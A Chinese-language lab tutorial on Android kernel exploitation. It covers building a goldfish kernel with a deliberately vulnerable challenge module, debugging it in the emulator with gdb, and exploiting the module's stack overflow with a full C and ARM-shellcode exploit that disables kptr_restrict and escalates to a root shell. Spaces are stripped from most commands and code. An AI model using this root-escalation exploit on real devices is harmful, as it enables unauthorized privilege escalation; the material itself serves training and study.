Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

$
0
0
【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

2017-08-14 16:22:02

阅读:540次
点赞(0)
收藏
来源: 安全客





【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

作者:for_while





【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

作者:for_while

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

Android的内核采用的是 linux 内核,所以在Android 内核中进行漏洞利用其实和在 一般的 x86平台下的linux内核中进行利用差不多。主要区别在于Android下使用的是arm汇编以及环境的搭建方面。本文对我最近的实践做一个分享,其实很简单。


内核调试环境搭建

搭建平台: ubuntu 16.04

这里使用android模拟器来进行内核调试。首先下载内核代码

gitclonehttps://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

然后下载github上的一个安卓漏洞利用的项目,

gitclonehttps://github.com/Fuzion24/AndroidKernelExploitationPlayground.gitkernel_exploit_challenges

然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核

gitam--signoff<../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch&&\ cd..&&ln-s$(pwd)/kernel_exploit_challenges/goldfish/drivers/vulnerabilities

这里注意:goldfish目录和 kernel_exploit_challenges目录要在同一目录下

然后下载arm-linux-androideabi-4.6交叉编译工具链。下载完成后把它解压后,然后把它加到环境变量中

tarxvfarm-linux-androideabi-4.6.tar.bz2 exportPATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH

然后进入goldfish目录,开始编译

makegoldfish_armv7_defconfig&&make-j8

编译完成后,就会有两个主要的文件:goldfish/vmlinux和goldfish/arch/arm/boot/zImage。前面那个用于在调试时gdb加载,后面的用于在安卓模拟器启动时加载。

下面下载 安卓sdk, 用来下载和运行 安卓模拟器。

sdk下载地址:http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

然后把 sdk解压

tarxvfandroid-sdk_r24.4.1-linux.tgz

把android-sdk-linux/tools 加入环境变量,把下面的命令添加到~/.bashrc的末尾<把命令中的目录改成你的目录>

exportPATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH

然后重新打开一个shell, 使用下面的命令<要先下载jdk ,并且设置好环境变量>

android

然后把下面标注的两个下载下来


【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

下载完后。首先查看下载的镜像文件

$androidlisttargets AvailableAndroidtargets: ---------- id:1or"android-19" Name:Android4.4.2 Type:Platform APIlevel:19 Revision:4 Skins:HVGA,QVGA,WQVGA400,WQVGA432,WSVGA,WVGA800(default),WVGA854,WXGA720,WXGA800,WXGA800-7in

然后创建 模拟器

androidcreateavd--force-t"android-19"-nkernel_challenges

然后进入 goldfish 目录,使用下面的命令来使用我们的内核来运行模拟器,并在 1234 端口起一个 gdbserver 来方便进行 内核调试

emulator-show-kernel-kernelarch/arm/boot/zImage-avdkernel_challenges-no-boot-anim-no-skin-no-audio-no-window-qemu-monitorunix:/tmp/qemuSocket,server,nowait-s

第一次运行有类似的结果:

$emulator-show-kernel-kernelarch/arm/boot/zImage-avdkernel_challenges-no-boot-anim-no-skin-no-audio-no-window-qemu-monitorunix:/tmp/qemuSocket,server,nowait-s WARNING:userdataimagealreadyinuse,changeswillnotpersist! Creatingfilesystemwithparameters: Size:576716800 Blocksize:4096 Blockspergroup:32768 Inodespergroup:7040 Inodesize:256 Journalblocks:2200 Label: Blocks:140800 Blockgroups:5 Reservedblockgroupsize:39 Createdfilesystemwith11/35200inodesand4536/140800blocks WARNING:cacheimagealreadyinuse,changeswillnotpersist! Creatingfilesystemwithparameters: Size:69206016 Blocksize:4096 Blockspergroup:32768 Inodespergroup:4224 Inodesize:256 Journalblocks:1024 Label: Blocks:16896 Blockgroups:1 Reservedblockgroupsize:7 Createdfilesystemwith11/4224inodesand1302/16896blocks ...................... ...................... ......................

为了便于后面的操作我们需要把 交叉编译工具链 添加到环境变量里。把下面的命令添加到~/.bashrc的末尾<把命令中的目录改成你的目录>

export PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH

然后重新开个 shell, 进入到 goldfish 目录,加载 vmlinux 以便调试内核

arm-linux-androideabi-gdbvmlinux

如果一切正常,应该可以得到下面的类似输出

GNUgdb(GDB)7.3.1-gg2 Copyright(C)2011FreeSoftwareFoundation,Inc. LicenseGPLv3+:GNUGPLversion3orlater<http://gnu.org/licenses/gpl.html> Thisisfreesoftware:youarefreetochangeandredistributeit. ThereisNOWARRANTY,totheextentpermittedbylaw.Type"showcopying" and"showwarranty"fordetails. ThisGDBwasconfiguredas"--host=x86_64-apple-darwin--target=arm-linux-android". Forbugreportinginstructions,pleasesee: <http://www.gnu.org/software/gdb/bugs/>... Readingsymbolsfrom<REDACTED>/goldfish/vmlinux...done. (gdb)

然后连接 模拟器里面的 调试端口

(gdb)targetremote:1234 Remotedebuggingusing:1234 cpu_v7_do_idle()atarch/arm/mm/proc-v7.S:74 74movpc,lr (gdb)

如果能看到这样的输出说明已经可以正常进行内核调试了。


内核栈溢出漏洞利用

首先看看漏洞代码,kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:

#include<linux/module.h> #include<linux/kernel.h> #include<linux/init.h> #include<linux/proc_fs.h> #include<linux/string.h> #include<asm/uaccess.h> #defineMAX_LENGTH64 MODULE_LICENSE("GPL"); MODULE_AUTHOR("RyanWelton"); MODULE_DESCRIPTION("StackBufferOverflowExample"); staticstructproc_dir_entry*stack_buffer_proc_entry; intproc_entry_write(structfile*file,constchar__user*ubuf,unsignedlongcount,void*data) { charbuf[MAX_LENGTH]; if(copy_from_user(&buf,ubuf,count)){ printk(KERN_INFO"stackBufferProcEntry:errorcopyingdatafromuserspace\n"); return-EFAULT; } returncount; } staticint__initstack_buffer_proc_init(void) { stack_buffer_proc_entry=create_proc_entry("stack_buffer_overflow",0666,NULL); stack_buffer_proc_entry->write_proc=proc_entry_write; printk(KERN_INFO"created/proc/stack_buffer_overflow\n"); return0; } staticvoid__exitstack_buffer_proc_exit(void) { if(stack_buffer_proc_entry){ remove_proc_entry("stack_buffer_overflow",stack_buffer_proc_entry); } printk(KERN_INFO"vuln_stack_proc_entryremoved\n"); } module_init(stack_buffer_proc_init); module_exit(stack_buffer_proc_exit);

上述代码会创建/proc/stack_buffer_overflow设备文件 ,当向该设备文件调用 write 系统调用时会调用proc_entry_write 函数进行处理。漏洞显而易见,在proc_entry_write函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用copy_from_user(&buf, ubuf, count)从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。

首先我们来试试触发漏洞。先把模拟器打开,然后adb shell进入模拟器,使用 echo 命令向/proc/stack_buffer_overflow设备输入72字节的数据。

echoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>/proc/stack_buffer_overflow
【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战
可以看到 pc 寄存器的值 为0x41414141成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用commit_creds(prepare_kernel_cred(0));提升权限为 root, 然后返回 用户态 执行execl("/system/bin/sh", "sh", NULL);起一个 root 权限的shell,完成提权。下面先获取prepare_kernel_cred和commit_creds函数的地址。在/proc/kallsyms文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。具体可以看这里。

当启用kptr_restrict是我们不能获取内核符号地址的。

root@generic:/#cat/proc/kallsyms|grepcommit_creds 00000000Tcommit_creds

在本文中,把它禁用掉,不管他。

root@generic:/#echo0>/proc/sys/kernel/kptr_restrict root@generic:/#cat/proc/kallsyms|grepcommit_creds c0039834Tcommit_creds root@generic:/#cat/proc/kallsyms|grepprepare_kernel_cred c0039d34Tprepare_kernel_cred

禁用掉之后,我们就可以通过/proc/kallsyms获取commit_creds和prepare_kernel_cred的地址。

至此,提权的问题解决了,下面就是要回到用户态,在x86平台有iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下cpsr寄存器的M[4:0]位用来表示 处理器的运行模式,具体可以看这个。所以我们把cpsr寄存器的M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。

所以现在的利用思路是:

1.调用commit_creds(prepare_kernel_cred(0))提升权限

2.调用mov r3, #0x40000010; MSR CPSR_c,R3;设置cpsr寄存器,使cpu进入用户模式

3.然后执行execl("/system/bin/sh", "sh", NULL);起一个root权限的shell

最后的 exp :

#include<stdio.h> #include<string.h> #include<unistd.h> #include<fcntl.h> #include<sys/mman.h> #defineMAX64 intopen_file(void) { intfd=open("/proc/stack_buffer_overflow",O_RDWR); if(fd==-1) err(1,"open"); returnfd; } voidpayload(void) { printf("[+]enjoytheshell\n"); execl("/system/bin/sh","sh",NULL); } externuint32_tshellCode[]; asm ( ".text\n" ".align2\n" ".code32\n" ".globlshellCode\n\t" "shellCode:\n\t" //commit_creds(prepare_kernel_cred(0)); //->getroot "LDRR3,=0xc0039d34\n\t"//prepare_kernel_credaddr "MOVR0,#0\n\t" "BLXR3\n\t" "LDRR3,=0xc0039834\n\t"//commit_credsaddr "BLXR3\n\t" "movr3,#0x40000010\n\t" "MSRCPSR_c,R3\n\t" "LDRR3,=0x879c\n\t"//payloadfunctionaddr "BLXR3\n\t" ); voidtrigger_vuln(intfd) { #defineMAX_PAYLOAD(MAX+2*sizeof(void*)) charbuf[MAX_PAYLOAD]; memset(buf,'A',sizeof(buf)); void*pc=buf+MAX+1*sizeof(void*); printf("shellcdoeaddr:%p\n",shellCode); printf("payload:%p\n",payload); *(void**)pc=(void*)shellCode;//retaddr /*Kaboom!*/ write(fd,buf,sizeof(buf)); } intmain(void) { intfd; fd=open_file(); trigger_vuln(fd); payload(); close(fd); }
【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战

参考链接

http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html

http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html

http://bobao.360.cn/learning/detail/3702.html

https://github.com/Fuzion24/AndroidKernelExploitationPlayground



【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战
【技术分享】Android内核漏洞利用技术实战:环境搭建&栈溢出实战
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4247.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles